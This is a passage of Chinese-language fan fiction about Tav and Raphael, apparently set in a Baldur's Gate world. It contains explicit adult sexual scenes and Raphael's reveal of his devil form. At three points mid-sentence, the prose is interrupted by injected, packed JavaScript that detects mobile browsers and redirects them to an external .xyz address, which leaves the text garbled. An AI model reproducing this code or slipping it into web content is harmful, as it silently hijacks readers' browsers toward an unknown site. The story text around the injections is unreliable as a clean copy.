“原来是下午到的学校。那比拉斐尔要早……哎呀,瞧,一说到他,他就出现了。” 塔夫转过身,拉斐尔看上去少见的匆忙甚至有些慌乱,一边拾级而下一边仍在扣着纽扣,来到她面前时已经整理好衬衫,但赤着脚,头发也仍滴着水,在肩膀洇出一小片深色的湿润。他的声音听上去也是湿润的:“塔夫!” 塔夫脸颊莫名发烫:“我来是……” 她一下顿住。好在不等她想到应该说什么,拉斐尔已经拉住她的手,带她往楼上走。 “很高兴再次见到你,塔夫。”哈勒普在二人身后带着笑意说。 . 台阶并不高,但不过爬了几级,塔夫便心如擂鼓,几乎喘不过气来。 拉斐尔看上去也是如此。 一到二楼他便忽然停下,手抚在她脖子上,深深吻了下去。他的手指颤抖得厉害,塔夫也不由得跟着发抖:“拉斐尔。”她有些难为情地朝下一瞥。男仆和哈勒普都不见了。她松了口气。 拉斐尔也在她唇间呼出一声:“塔夫,我一直在想你。”他说着便把她抱了起来,嘴唇重新贴上她的双唇。塔夫腿自觉环在他腰上,手揽住他的肩膀,胳膊被他的头发打湿一些。 拉斐尔抱着她边吻边沿走廊向前。很快,她后背轻轻碰上一扇门。拉斐尔一只手从她腰间滑到大腿又消失不见。她背后的门开了,拉斐尔立刻把她揽得更紧,进入房间,踢上门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488408|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她听到有些沉的“砰”的一声。 不过数步后就到了床边,塔夫感到自己几乎是被推按在床上,哪怕有拉斐尔的手臂撑在背后和后脑做缓冲,她仍不由得一阵颤栗。下一刻,她身上一重,拉斐尔牢牢压了上来,捧着她的脸继续亲吻她。 塔夫双腿仍缠在他结实的腰臀上,脚抵着他同样紧实的大腿。这对她来说是无比新鲜的体验。除了靠在树上的第一次,如果二人有更亲密地接吻,她总是坐在拉斐尔腿上。 她很喜欢那种方式,她可以随时拉开距离甚至起身离开。哪怕她不会真的那样做,却仍有一种微妙的掌控感。拉斐尔似乎也很喜欢仰头望着她。 而现在,她像是忽然发觉,和拉斐尔相比,她的力量是如此有限。 他身体滚烫,头发却仍湿漉漉地滴下水珠,落在她的脖子上又凉又痒。塔夫忍不住呻吟一声。 拉斐尔停下了,稍稍抬起身望向她。 是她无比熟悉的眼神。塔夫心脏停跳一拍,感到仲夏节那晚相同的悸动。她下意识地弯了弯唇角,眼底却泛上湿润,连忙闭上眼睛,手更用力地抓在他肩膀。拉斐尔重新俯下身,不再只是亲吻她的嘴唇,而是温柔地亲吻和抚摸她脸上的每一处:额头,脸颊,下巴。 塔夫微微仰起头,拉斐尔的双唇和指尖便慢慢滑向她的脖子,贴着她的脉搏,向跳动越来越快越来越强的地方吮吻着。柔软的嘴唇停在她领口所能允许的最低处,带着湿润的热气低声唤她的名字:“塔夫,我很想你。” 塔夫几乎感到眩晕,睁开眼睛真的看到一片星星,接着眼里又是一阵灼热,刺得有些疼。她急忙又一次阖上眼,举起手臂挡在自己眼前,不想让拉斐尔发现。 “塔夫?” 拉斐尔却还是察觉了。他撑起身,轻轻抓住她的手腕,小心翼翼地把她的手从眼前移开。塔夫没有任何反抗的意思。他吻了吻她的手指,又立刻十指交扣着握住,另一只手慢慢抚摸着她的脸颊,指尖温柔地擦去她眼睛周围的湿润。 塔夫一直闭着眼睛。 拉斐尔在她眼睑上吻了吻:“对不起。” 塔夫立刻摇头:“不,不是你,是我。” 她不知道自己感情为什么忽然这么汹涌,甚至为打断拉斐尔感到内疚,她和他明明约好的,她也一直期待的。然而她更加无法抑制情绪,最后想了个很可笑的理由,“我没有穿那条绿色的裙子。” 拉斐尔轻笑一声:“那没有关系。” 塔夫眼皮一跳,眼睛闭得更紧。 拉斐尔一直没有动,只是望着她。又过片刻,他在她额头吻了下,声音有些哑:“是我太心急了。” 塔夫诧异地睁开眼睛,拉斐尔的脸庞一下出现在眼前。他瞳孔有些放大,见她望向他,垂下眼睛笑了笑又重新看着她。塔夫忍不住伸出手拢住他的脸颊,慢慢移向他的嘴唇,温柔地抚摸被她第一次狠狠咬过的地方。 拉斐尔眼睛里闪烁起似乎是期待,吻了吻她的指尖。但塔夫只是手指停在那里。 他保持着这个姿势一会,终于还是从塔夫身上翻下,有些重地落在丝绸床单上,平复呼吸几次后侧过身,揽住塔夫的腰把她拉到自己身旁。两人便都侧躺着,能够相互看着对方。拉斐尔的手仍搭在她腰间,却也只是停在那里。 他清了清嗓子:“过去四周,你过得怎么样?” . 91.初次 塔夫慢慢呼出一口气。 过去四周没有多少波澜,但她其实仍有很多话想和拉斐尔说。然而记忆忽然变成一片空白,只剩下有些单调乏味的重复。 她抿了抿唇:“还不错,你呢?” 拉斐尔喉咙轻滚一下,开口时说得很细致,关于共同农业政策的博弈和僵持,会上贵族的趣闻轶事,甚至所骑狮鹫在返程时闹了些脾气。 他仿佛记下所有她可能会感兴趣的事,只等四周后说给她听。 当拉斐尔说到狮鹫的时候,塔夫眼睛里流露出憧憬。他便更详细地描述狮鹫威风凌凌的模样,翅膀、利爪、鹰喙,如果可能的话,他甚至会形容每一片羽毛的颜色和形状。接着他又说,尽管如此,狮鹫的性格其实非常的小公主。 塔夫被逗得笑起来:“你知道吗拉斐尔,我们第一次相遇那天,我其实在心里喊你小公主呢。” 拉斐尔一下撑起上半身:“什么?为什么?” “因为你是豌豆公主嘛。” 拉斐尔立刻在她腰上轻轻挠了起来,塔夫笑着把他推开,又重新握住他的手。 她忽然感到一阵满足,或者说安全。 也许是因为她与拉斐尔之间那四周的空白被填补,也许只是因为她需要些时间平复刚才突如其来的激动心情,也许还是因为拉斐尔让她意识到,她仍然可以随时停下,哪怕在他的房间,哪怕在他身下。 过去四周的记忆重新变得鲜活,塔夫也说起农场、卡菈克、贾希拉,以及明斯克和小布。拉斐尔的微笑有些怀念,慢慢握紧她的手。 “最后,还有我的医学院标准化考试的复习计划。”塔夫说着抽出手,抚摸拉斐尔仍带着湿意的头发,又一点点在他胸口上蹭干,“全部完成了。今天的也是。” . 拉斐尔愣住。 他不确定自己的理解是否准确:“你是说……?” 塔夫的笑容有些羞赧:“是的。今天没有什么能再打扰到我们。”她垂下眼睛模模糊糊地补充,“如果你不介意我没有穿那条绿裙子的话。” 当拉斐尔意识到她刚刚说了什么的时候,声音一下嘶哑起来:“什么?” 塔夫抬起眼睛,有些无奈地叹口气,手指贴在他衬衫上有些挑逗地划了划:“我是说。我们继续。” 拉斐尔立刻伸出双臂抱住她,将她拉到自己身前,紧紧贴着她的嘴唇,低声道:”如你所愿,塔夫。” 塔夫手在他胸口推了下,接着翻身趴到他身上,吻住他下唇,又很快加上牙齿和舌头。 是刚才他期待的亲吻。 不,比他期待的更好。 拉斐尔紧紧抱着塔夫,含住她的舌尖,慢慢吮舔亲吻着,直到她喘息起来,发出可爱的声音。他重新抚摸她的肩胛,后背,腰部。 塔夫忽然移开嘴唇,半坐起身,双手轻轻扶在他脖子上。 拉斐尔几乎希望她会用力合拢手掌:“你想怎么做?” 塔夫垂着眼睛笑了笑,开始解他衬衫纽扣。拉斐尔一直望着她,手停在她腰后。她解开最后一颗,这次直接把他的衬衫从裤腰中抽了出来,让他赤裸的上身完全暴露在空气里。拉斐尔看到塔夫咬了咬唇,眼神中饱含赞叹,这让他忍不住感激自己,过去四周几乎把全部空余时间花在锻炼上。 她的手指终于触碰到了他的肌肉,开始有些犹豫,轻柔得像羽毛一样,然后慢慢加重,从肩膀,到胸膛,到小腹。拉斐尔手重新在塔夫腰背上抚摸着,很想把她重重压近自己身前。 他们已经多久没有接吻了。 仿佛听到他的想法,塔夫朝他俯下身。 然而她的吻并没有落在他的唇上。拉斐尔小腹一痒,接着是柔软湿润的触感。他猛吸一口气,双肘撑起身子:“塔夫?” 塔夫半抬着眼睑:“我之前就想亲亲看是什么感觉。”她说着用指头按了按,“你又用力吸气收腹了?肌肉一下绷得这么紧。” 拉斐尔胸口也一阵发紧,压迫得心脏恨不得马上跳出来。塔夫朝他笑了笑,耳朵贴上他胸膛,接着换成嘴唇。拉斐尔忍不住轻轻叹了一声,塔夫又笑着瞧他一眼,睫毛又黑又长,眼睛里闪烁着有些得意的光芒。她很感兴趣地继续吻他,手指跟着一起摸索。她的头发也痒痒地划过他的皮肤,还有她身上粗糙凉爽的亚麻布料。她一路向上亲吻他的肩膀、脖子、喉结,最后整个人紧紧贴在他身前,嘴唇停在他耳朵旁。 拉斐尔感到自己身上激起战栗,双臂打颤,差点无法支撑自己。 当塔夫牙齿咬住他耳垂,又带着笑意柔声喊他名字时,拉斐尔一阵头晕目眩,低声咒骂了一句。 “什么?”塔夫停下了。 拉斐尔过了会才意识到自己刚才说的是炼狱语。 随那意识一起回来的还有更多:他渴望亲吻塔夫,肌肉绷得有些难受,欲望几乎疼痛地压在裤子上。 “你不喜欢这样?”塔夫不再贴着他,表情变得有些严肃。 “我……”拉斐尔听见自己声音沙哑,几乎有些刺耳,但他来不及清嗓子,“……喜欢。” 他想表现得像个有教养的绅士,保持耐心,给塔夫时间。他当然喜欢她这样做。但是……他得让塔夫知道,她到底对他做了什么。 拉斐尔捧住塔夫的脸,终于把自己的嘴唇颤抖地贴在她的唇上,又立刻去勾她的舌头。塔夫轻轻笑了一声,似乎在说他也太过急切。 要知道他已经很克制了。 他稍稍用力翻过身,重新压在塔夫身上。她轻呼一声,眼睛里却立刻带上笑意,双腿缠住他,继续喘息着吻他,手紧紧抓在他后背。接着,她将他的衬衫向下一拽,露出他结实的肩膀。 拉斐尔怔了怔,觉得自己反而是更加惊讶的那个,像是要证明什么似的很快抽出胳膊,把衬衫随便扔在一旁,也许掉到了地板上。他不太确定,因为他始终只能看着塔夫。她的手抚上他赤裸的后背,指甲沿着脊柱轻轻向下刮,最后停在他的臀部,用力捏了一下。 拉斐尔再次愣住,塔夫又立刻加上一巴掌,笑得身子颤抖起来:“我也早就想这么做了。手感真不错。” 他简直要疯了。 拉斐尔往后靠了靠,手指摸向塔夫上衣下摆,望着她的眼睛。塔夫朝他微笑,褐色的眼睛闪闪发光。他向上提了提衣服边缘,她看上去有些紧张,抿着唇慢慢坐起身。在他的目光里,她还是垂下眼睛,却笑着举起手臂方便他替她脱去上衣。 她看上去真是可爱漂亮极了。 拉斐尔喉咙发干,倾身重新吻住塔夫,直到她彻底放松下来,鼻腔重新发出满意而又甜腻的嗯音。他开始亲吻她的脸颊,下巴,脖子,肩膀,锁骨……这次,不再有衣领阻止他。 他几乎像是学着塔夫刚才的样子,用嘴唇和手指探索她,偶尔停下舌头打着转,或用牙齿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493432|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻咬,再换成手抓住或按揉。塔夫的喘息和颤抖就是他最好的向导。她一向清楚自己想要什么。 于是,在唇舌重新触到布料后,拉斐尔停下了,抬头望向塔夫。她伸手摸了摸他的脸颊,声音轻得几乎听不见:“继续。” 这便足够了。 ……布料摩擦发出柔和的窸窣声…… 拉斐尔无法再清晰地思考,弓身捧着塔夫,手指抚摸她内侧皮肤,舌头顺着腹股沟划出一条湿润的痕迹。她发出一声惊呼,手指埋进他的头发里。 这次,他一时分不清她是想要他停下还是更靠近,便继续把嘴唇轻轻贴在她的中心,吻了吻。 塔夫抓紧他的头发,又喘了一声。 她喜欢。 拉斐尔却开始重新亲吻她的皮肤,直到塔夫有些无奈地揪他的发根,半坐起身:“你这张嘴巴总是这么……傲慢。”拉斐尔忍不住也有些得意地笑了笑,望着她的眼睛,很慢很慢移动自己的嘴唇。塔夫手指在他头上抓按着,向他指示应该去那里。他双唇终于再次紧紧贴上她,稍稍用力含住,又伸出舌头挑拨。 塔夫躺了回去,呼吸慢慢变得急促起来,声音也渐渐控制不住。拉斐尔仍继续吻着她。她双腿变得越来越僵硬,忽然像是需要活动一下或反抗似的伸直。他眼明手快地握住她脚踝,才没有被直接踢到。可哪怕只是被蹭过,他仍是忍不住从鼻腔里哼了一声,几乎有些痛苦:“塔夫。” 塔夫抬眼望着他:“我想我已经……准备好了。” 拉斐尔轻轻吸了口气。 …… 对于周围同龄人、尤其是兄弟会那群人,拉斐尔的态度往往是不置可否,但始终深信他们给亲密赋予了太多意义,仿佛那是一种值得追求并炫耀的成就,其实不过是为了填满空虚的时间。 可现在,拥抱着塔夫,他突然明白了这为什么会令人疯狂,而原来的自己又是多么的纸上谈兵。 一切都好得太过完美,几乎不真实。她柔软湿润,他的尺寸刚好契合她的身体。他看到她闭着眼睛,随着自己的进入微微张开唇,眉毛也轻轻颦起。 拉斐尔心里一阵悸动,拇指摸摸她的下唇:“你感觉怎么样?” 塔夫慢慢呼出口气,睁开眼睛望着他:“这感觉……很好。”她轻轻咬了咬他的指尖。 拉斐尔尾椎升起一股战栗,感到自己的血液在沸腾,烫得他无法思考,大脑里只有塔夫:她的味道,她的温度,她的声音。他很用力地压抑着本能,却还是拿不准力度。塔夫轻喘一声,身子一下绷紧,他也跟着颤抖了下。她发出又一声叹息,更像是被突然卡住的惊呼,但那无法掩盖他胸腔深处传来的声音。他到了。 拉斐尔知道自己仍在颤抖,但他无法控制。 塔夫也意识到发生了什么,朝他伸出手臂。 拉斐尔俯身抱住她。他很感激塔夫没有说什么安慰的话,但只是她的呼吸就能让他有所反应。他一阵眩晕,怀疑自己是不是有什么毛病。 塔夫贴在他身前,吻住他。她的嘴唇很软,有些湿润,然后就结束了。他的结束。 拉斐尔闭上眼睛,又过了一会,才能克制着慢慢退出。 他甚至不记得刚才到底发生了什么,只记得一片空白又五彩斑斓的世界,其中只有塔夫。 那世界慢慢消失了,塔夫也不见了。 可他无法睁开眼睛。 . 92.成真 塔夫很快便发现拉斐尔和平时不太一样。 她知道发生了什么,也不觉得奇怪。真要说的话,她有些松一口气没有持续太长时间。她其实有点不习惯,有点胀还有点疼。当然也有许多满足,不过她觉得那更多的来自之前的亲密以及心理上的愉悦。 但拉斐尔始终闭着眼睛,倒像是发生了极为可怕的事情。 她这个时候应该说什么安慰他才好? 没关系没关系,听说第一次都是这样啦! 语气听上太不正经了。 别有太大压力,以后一定会变好的。 有点奇怪的鼓励。 她并没有感到…… 失望? 塔夫手慢慢伸进拉斐尔发间。他的头发已经几乎都干了,重新变得柔软蓬松。她忍不住抓了抓,又吻了吻。 她没有失望,这不仅仅是为了安慰他才说的。 她其实更喜欢他了。她喜欢他的耐心,给她许多时间,按她的节奏来。她喜欢他的亲吻、抚摸、配合她跟她闹着玩。她喜欢他的嘴唇、舌头、手指,喜欢他带给她的感受。 她喜欢他的地方要多得多得多,至于最后那一步,她和他有那么多机会和时间,完全可以一起再试几次,习惯了应该就不会这么快…… 唔,之后那一部分还是别说。 但可以说她很期待下一次。 这听上去好多了! 塔夫在心里一边删删改改一边更加甜滋滋的,抱住拉斐尔又亲了亲他的头发:“我真的好喜欢你。” 怀里的人一直在微微颤抖,听到她的话后,颤抖突然一下变得剧烈,塔夫不由得紧张起来:“拉斐尔……?” 拉斐尔发出一声低沉的呻吟,仿佛从胸腔深处发出,听上去既痛苦又满足,极为诱人。像是他刚才那个时候……塔夫脸一下涨得通红,又立刻回过神,连忙问他感觉怎么样想不想要坐起来。然而她手刚碰上他的皮肤,拉斐尔便自己用双肘微微撑起身子,却仍将她牢牢困在身下。 但塔夫终于可以重新看到他的脸。可他眼睛仍然紧闭着,呼吸粗重,像是在忍耐着什么痛楚。塔夫朝他脸颊伸出手,被狠狠冰了一下,不等她惊呼,拉斐尔已经又哼出一声,整个人一瞬被火焰包裹。 冰冷的火焰又瞬间消失,面前的人已经变了一副模样。 “拉斐尔?!” 他睁开眼睛,眼眶中是竖起的金色兽瞳,却带着她熟悉的神色,哑着嗓子说:“塔夫,别怕,是我……” 塔夫猛地看向卧室窗户,又朝门的方向望去。 拉斐尔声音哽了一下:“塔夫……是我。” “窗帘拉着,门也关着。”塔夫重新望向他,“没有其他人看见。这里的人知道这件事吗?你别太担心,不过我们用不用先把门锁上?” 拉斐尔怔愣片刻,重重抱住她。 “你好像变沉了?”塔夫胸口被压得有点闷。 拉斐尔翻过身,侧躺到她身旁,又把她拉到自己怀里:“他们知道。这不是什么需要遮掩的秘密。” 塔夫放松下来——物理和心理上双重。她又稍稍退开些,确认拉斐尔看上去的确没事,这才再次开口,却一口气问出一串问题: “原来你是提夫林?为什么平时都是人类的样子?因为你是贵族?这是什么魔法吗?原来提夫林还能长翅膀的?我可以摸摸看吗?” 她说着已经忍不住伸手去摸他背后蝠翼。手感有些粗粝,像皮革,但因为很薄,又带上几分脆弱。他的皮肤也是如此,比人类时要坚硬一些,手臂和脖子上的筋络也变得明显,肩膀处凸起两条提夫林特有的脊线,向下延申不知到哪里。 拉斐尔身子一僵,翅膀抖了抖,强调着更正:“不!我是‘魔鬼’!” 塔夫又去摸他身后的尾巴,仰头看他额上伸出的弯曲犄角:“我还是第一次见到魔鬼。原来魔鬼真的和提夫林长得这么像。” 拉斐尔语气不快:“应该说,是提夫林长得像魔鬼。” 塔夫笑出声:“你果然是拉斐尔。” 拉斐尔听上去更加不快:“你刚才并不确定?便这样被不确定身份的人……‘这样’抱在怀里?!” 塔夫捏了捏他的尾巴,觉得闹小脾气的拉斐尔有点可爱,打趣他:“你好像比平时变坦率了一些?这是变魔鬼的附带反应吗?” 拉斐尔严词纠正她:“我不需要‘变’魔鬼。我本身就‘是’魔鬼。” 塔夫决定收回刚才的话,拉斐尔根本是变成了幼稚鬼。 她努力板起脸,声音也严肃些:“你为什么一直不告诉我?” 拉斐尔抿抿嘴:“又没有什么关系。我极少会变成这副样子。” “有没有关系应该由我一起来决定吧。” “我的种族会影响到我们的关系吗?如果是正面影响,那便是留给你的惊喜。如果是负面影响,那我更没理由主动告诉你。” “这话怎么这么似曾相识呢。”塔夫磨了磨牙。 拉斐尔似乎也想到翼猫那次的事,语气软了一些:“对不起。我向你保证,我并没有在主观上对你隐瞒这件事。” 塔夫作出一副若有所思的表情:“怪不得。难怪如此。如果你是魔鬼的话,很多事都能解释得通了。” 拉斐尔微微睁大眼睛,明显紧张起来:“什么事?” “你最开始干得那些魔鬼事呗。”塔夫忍不住好笑,“还有契约什么的,艾琳女士也直接叫过你魔鬼,我居然一直没有往这上面联想。” 拉斐尔松一口气,再开口却是模仿她的口吻:“你可是亲口说过,魔鬼是费伦大陆上的众多种族之一。”他严肃道,“请别有这么强烈的种族偏见,塔夫。” 塔夫立刻在他臀后狠狠拍了下,手感还是一样的好。 她其实很好奇拉斐尔是因为什么没办法维持人类的模样,但心里有个猜测,而且估计十有八九正是如此,就更不好问出口。她还有些诧异自己居然这么快就接受了,也许她早有怀疑,而且大概真的很喜欢拉斐尔,不仅仅是他的外表。 塔夫仔细凝望拉斐尔的脸,有些细微变化,大约是因为皮肤颜色加深,五官线条少了些弧度,但仍是他的模样和气质,似乎还更英俊更有吸引力了。而且同一个人两种形态什么的,感觉还有点刺激……塔夫想到一处,忍不住又偷偷垂下眼睛瞧了瞧。 原来那里没有什么变化?似乎多了几条脊线?还是原本就有?塔夫正不知道自己是庆幸还是失望,不过她看这一眼的功夫,拉斐尔居然又有反应了。 她脸一下子涨得通红,猛地抬头,差点撞到拉斐尔下巴。哪怕皮肤变成红色,也仍能看出他同样满脸窘迫:“塔夫,不是的,我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502185|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……我不是……” 塔夫唇角止不住上扬,终于笑出声,觉得魔鬼拉斐尔性格中添了很多率直,简直比拉斐尔还要讨人喜欢。她忍不住抱住他:“你真的好可爱啊。” 拉斐尔不知如何回复,干脆拢着她脖子深深吻住她。只亲了一会,塔夫就“呜呜”地推开他。她气喘吁吁,脸颊通红,却急着要他张开嘴伸出舌头。拉斐尔笑着扬起眉毛,照做了。 塔夫怔愣一会,这才伸出手小心翼翼地摸了下,又立刻收回手:“原来真的是分叉的。” 拉斐尔从喉咙发出一声低笑,露出锋利的牙齿:“还有更多感想吗?” 塔夫凑近重新亲吻他:“我很喜欢。” …… 塔夫头向后半仰着,手抓住拉斐尔双角,感觉全部集中在一处。 也许是两处,因为他那分叉的魔鬼舌头。 她甚至有些记不清是怎么重新进展到这一步的,哪怕她脑海里明明还回响着他的话。 无论她是出于什么原因说出那番动人的喜欢,或者仅仅是允许他这样做,他都想让她知道他是多么的感激她,而他也一直想让她感到快乐。 塔夫听到自己的呼吸越来越急促,似乎还带着一丝期待,再次有喘不过气的感觉。 拉斐尔简直像一头始终无法满足的渴水山羊,在岩隙中寻找泉源,鼻骨紧紧抵着她,呼吸湿润滚烫,半条舌头不知疲倦地舔动着,半条舌头伸进潮湿的热意中,缓慢又坚决地卷走每一滴能解他口渴的甘液。 而不过十几分钟前,也许是几十分钟前,塔夫说不准时间,但她可以很确定,拉斐尔那时绝对没有如此熟练,如此地……了解她。然而因为这是拉斐尔,她一点也不感到惊讶。 塔夫忽然握紧拉斐尔的角,闭上眼睛,等待身体里的卷云堆叠成厚厚的雨云。 雨终于落下了。 她无法克制地呻吟一声,肌肉紧绷得几乎要痉挛,有一瞬间甚至失去意识,恢复意识后却发现拉斐尔仍在继续亲吻她,舔舐她。哪怕在她的大口喘息中,他发出的吮吸和吞咽声依旧响亮,清晰可闻。塔夫终于用力去推他双角,拉扯他的头发。 拉斐尔停下,却又重新吻在她内侧皮肤上,舌尖仿佛在跳着什么双人舞。塔夫浑身颤抖,不得不喊他的名字。是真的足够了。 她听到丝绸滑动摩擦的声响。拉斐尔现在一定正在看着她。她大概头发凌乱,满脸通红,必须张着嘴才能呼吸。可她没办法睁开眼睛,眼皮后面仍有一片星星。 身边床垫陷下去些,塔夫被轻轻拉进拉斐尔怀里,手抚在他胸口,腿交缠在一起。拉斐尔帮她整理粘在额头上的发丝,手指几次轻轻擦过她的耳朵,又顺着脖子来到她后背,温柔地沿着她的脊柱慢慢向下抚摸。塔夫差点再次打起颤来,过了好一会才能正常呼吸。 她长长呼出一口气,重新睁开眼睛,果然正对上拉斐尔含情脉脉的视线。她一下有些难为情,但还是忍不住微笑起来:“这简直是梦照进了现实,而且更好。” 拉斐尔手指一顿,停在她腰后:“什么梦?” 塔夫搂住他的脖子,贴上他的嘴唇,似乎尝到些自己的味道。拉斐尔看上去很吃惊她会吻他,表情一下变得怔怔的,但也因此格外讨人喜欢,塔夫凑到他耳旁: “没办法告诉别人的梦。” . 93.指导 塔夫同拉斐尔的这次告别非常困难。 直到宿舍塔楼下,他仍把她一遍遍拉回怀里,亲吻她,说他已经有多么想念她,就好像两人未来几个月都不会再见一面似的。哪怕她仍在满足中瞧着拉斐尔十分英俊可爱,最后也有些拿他没办法起来。 而且这还只是最简单一环。 首先是关于她的梦。 “没办法告诉别人”这样的回答自然无法令拉斐尔满足,他的回复从:“但我并不是别人。”到后来明显是想起上学期的事,表情慢慢变得兴奋,声音里也有无法遮掩的得意和笃定,“你梦到的是我。” 塔夫伸手摸摸他的脸:“嗯。不过不是这个样子的你。” 拉斐尔眉毛都扬了起来:“你是什么时候梦到的我?” 塔夫深知这回答只会让拉斐尔尾巴翘得更高,但想到这次情况特殊,于是她还是笑着说:“我们第一次见面的那天晚上,我当时还以为是你让哈勒普捣得鬼呢。” 拉斐尔回忆片刻,脸色却瞬间沉了下去。 这反应倒是让塔夫有点意外:“还真是?” “不,他没有这种能力。就算有,我也不会让他这样做。”但拉斐尔脸色仍然很糟。 塔夫反应过来:“我很确定那是你。”她忍不住笑了下。“因为在我的梦里,你的脸涨得比现在还要红。” 拉斐尔也很快反应过来,脸真得开始变得更红。塔夫乐不可支,他的眼睛却越来越亮。 见拉斐尔蠢蠢欲动一副打算再继续做点什么的表情,塔夫眨眨眼睛,忍着笑在他胸口推了一把:“我今天真的累了,一会还要回去呢。” 这开启了第二个环节的攻防战。 “如果累的话就再多休息会。”拉斐尔立刻不再追问梦的事,“你今晚可以留在这里。” 塔夫觉得自己随时可能睡过去,干脆坐起身。拉斐尔目光向下游移一瞬,喉咙滚动一下,又立刻重新看向她的眼睛,跟着撑起身,声音温柔悦耳:“这里也有许多空房间,一直有人打理。” “我得回去。还有好多行李都没收拾。”塔夫开始找自己的衣服。床很大,她只有一只袜子落在地板上。 拉斐尔也坐了起来,手在她身子两侧温柔地抚摸着,带来细细密密的战栗,塔夫轻轻喘了一声。拉斐尔贴近她耳旁,声音更加低沉轻柔,充满磁性和说服力:“几天后才是开学。你有很多时间。” 塔夫笑着在他脖子上咬了下:“我知道什么时候开学。我也知道我在做什么。”她拿着衣服坐到床边。床很高,她双腿几乎需要半伸直才能踩上地板,“可以借用一下你的浴室吗?” 拉斐尔没有回答,直到塔夫转头望向他,他像是又挣扎片刻才说:“最右边的那扇门。” . 塔夫没有用淋浴间,只是迅速清理了一下自己。事实上她甚至不需要做什么,因为拉斐尔的嘴唇和舌头完成得相当不错。 这念头让她脸颊重新微微发烫,手顿住。这时拉斐尔敲了敲门,声音被门阻隔听上去有些闷闷的:“需要我帮你调水温吗?” “不用。”塔夫迅速穿好衣服,拉开门,拉斐尔已经变回人类模样,仍赤裸着上身,见她穿戴妥当,明显一怔,几次呼吸后才匆匆说:“请让我送你回去。” 这次塔夫没有拒绝。 拉斐尔进入浴室,水声很快传来。塔夫慢吞吞地穿袜子,不过坐下这么一小会,她又有些打瞌睡,干脆站起身,却没什么可做甚至可以看的——这房间里家具少得可怜,只有她一人在时,居然显出几分空旷来。 床靠着墙,在正中央,床上床单和被子都皱巴巴乱糟糟的。塔夫抿抿唇,决定还是不去收拾,走到床头板前观察上面的浮雕。大概是什么神话传说故事。她刚凑近些准备更仔细地研究,拉斐尔已经回到卧室。他头发重新变得湿漉漉的,似乎根本没有擦,弯腰从地板上捡起衬衫,不紧不慢地系扣子,目光始终黏在她身上。 这场景让塔夫觉得很新鲜,快步走到他身前,自告奋勇:“我来帮你!”她说着朝他伸出手,从中间的开始扣。 拉斐尔却叹了口气,双手从衬衫上松开,扶上她肩膀。塔夫抬头望向他,下一刻他便俯身吻住她。在刚才那么短的时间里,他似乎连牙齿也刷过了,气息清新凉爽,又迅速变得湿润滚烫起来。塔夫很快就有些气喘吁吁,用力推了推拉斐尔。他却继续在她口中搅弄一次才停下,分开时在二人唇齿间扯出一条晶亮水线。 塔夫手仍在抚在他胸口,脸涨得通红,一时说不出话。拉斐尔顺着那水线重新贴到她唇瓣上,又伸出舌头慢慢舔吻她的嘴唇。 塔夫终于喊他名字:“拉斐尔。” 他看上去很是懊恼:“是因为这次舌头没有分叉吗?” 塔夫又好气又好笑:“跟你的舌头没关系。是我真的该回去了。” . 路上,塔夫一连打了好几个哈欠。为了让自己保持清醒,也为了让拉斐尔不再有机会劝说他,当他问她明天有什么安排时,她把回答的范围扩大到了整个学期。 最重要的一件事当然是四周之后的标准化考试。时间是周六早上,不过很幸运就在博得安大学。除此之外还有专业课、剧团活动,以及十一月初正式寄出申请。 这时间线其实有些紧张,虽然她已经准备好全部其他材料,但标准考试的成绩至少要一周后才能收到。 如此计划的主要原因是农场附近没有考试地点,而且她也希望准备得更加充分。此外,许多医学院——包括她最想申请的博德之门医学院——允许申请者迟一些寄出成绩。 …… 和往常一样,拉斐尔听得很认真,塔夫也说得更加仔细,通过他的耳朵检查哪里有疏漏。 就这样她说他听走了大半路程,塔夫问起拉斐尔学期的计划,他回答得很简洁:“和之前相比没什么变化。”便开始黏黏糊糊一直到宿舍塔楼前。 “明天下午见!”塔夫终于狠下心做最后一次的告别,“哪怕真的临时有变,我也知道去哪里找你。” 拉斐尔终于恢复平常模样,缓缓点点头,语气镇静,但细听之下居然有些可怜:“我会一直等你。” 塔夫:这真的只是道别吗?为什么搞得仿佛她会始乱终弃辜负他一样!? . 爬上楼梯一把推开门,塔夫正对上一双闪闪发亮的绿眼睛,似乎带着谴责。她狠狠吓了一跳,又莫名心虚起来:“影心!你怎么这么早就回来了?”——影心往往在开学前一天晚上才返校。 “也不算太早。提前三天而已。”影心顿了下,“哦!很快就会变成两天了。” 塔夫紧张地打起哈哈:“那我们都快睡吧。你洗过澡了嘛?我刚才出了一身汗……哈哈!”见影心扁扁嘴抱起双臂,眉毛越 